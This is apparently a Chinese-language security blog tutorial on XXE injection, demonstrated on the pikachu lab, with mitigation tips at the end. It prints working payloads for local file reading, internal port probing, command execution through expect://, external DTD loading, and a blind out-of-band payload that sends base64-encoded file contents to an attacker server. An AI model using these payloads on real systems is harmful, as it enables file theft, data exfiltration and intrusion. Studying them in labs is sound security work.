XXE注入

XXE漏洞概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在显示信息,而XML旨在传输信息。

两种用法的不同导致漏洞利用也不一样,相应的xss本质其实就是html注入,xxe本质就是xml的注入

XML代码实例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

不同xml解析器支持的协议

图片[1]-XXE注入-Drton1博客

演示案例

pikachu靶场

图片[2]-XXE注入-Drton1博客

打开靶场,一个接受xml数据的api,我们在C盘My目录下创建一个txt文件,尝试读取他

图片[3]-XXE注入-Drton1博客

构造好攻击payload

<?xml version = "1.0"?>

 <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://My//text.txt"> ]> 

<x>&xxe;</x>

进行提交,成功xxe注入拿到回显内容。

图片[4]-XXE注入-Drton1博客

攻击手法:

内网探测

我们可以利用xxe对内网ip进行请求,探明内网存活的端口资产等

如下面构造的xxe就是一个典型的内网探针,去探测目标web服务是否开启

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "[<http://192.168.217.1:80/index.](http://192.168.1.4/index.txt)php>">
]>
<x>&rabbit;</x>

我们可以根据回显内容,在具体环境下判断目标是否存活。

执行命令RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到。

因为实际生活中,很少有企业去主动开启此扩展,这里放在这里是一个攻击面。

引入外部实体dtd

这个有点像log4j注入哪个洞,远程去请求别的xml代码,然后执行。那么如果目标服务器允许请求外部实体,攻击者就可以把恶意代码放在自己服务器,让对方去请求自己的服务器从而实现攻击。

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "<http://127.0.0.1/abc.dtd>">
		%file;
]>
<x>&send;</x>

//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

我们先把evil2.dtd放置在我们根目录下 里面放:<!ENTITY send SYSTEM “file:///d:/test.txt”>

然后把

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "<http://127.0.0.1/abc.dtd>">
		%file;
]>
<x>&send;</x>

去远程调用:

图片[5]-XXE注入-Drton1博客

成功实现远程调用读取。

无回显-读取文件

这是针对对方网站对我们输入的东西无回显的攻击方式,利用自己的服务器来接受回显。

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
		<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
		%dtd;
		%send;
]>

test.dtd:
<!ENTITY % payload
	"<!ENTITY % send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

XXE漏洞的特征

刚才上面演示那么多案例以及发现了特征,就是说对方必须是要接受xml数据格式才能具有这个漏洞存在的基础。

那么xml数据格式在数据包中的特征:

  • 数据格式类型: 数据包中存在明显的标签符号 如: <user>test</user><pass>aaaa</pass>
  • Content-Type值判断: 数据包中上传数据类型 存在xml格式 如: text/xml,application/xml
  • 更改Content-Type的值为xml格式,对方服务器能够正常接受。

这三种特征就是出现xxe漏洞的前提。

XXE工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。

下载地址

这里也给出github地址:<https://github.com/enjoiz/XXEinjector>
<https://github.com/enjoiz/XXEinjector/archive/master.zip>

安全修复

  • 禁用外部实体引用
  • 过滤关键字
  • 采用waf

备注:

xxe靶场地址:https://github.com/c0ny1/xxe-lab

vulnhub靶机:XXE Lab: 1 ~ VulnHub

CTF-Jarvis-OJ-Web-XXE赛题: Challenges – Jarvis OJ API调用

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论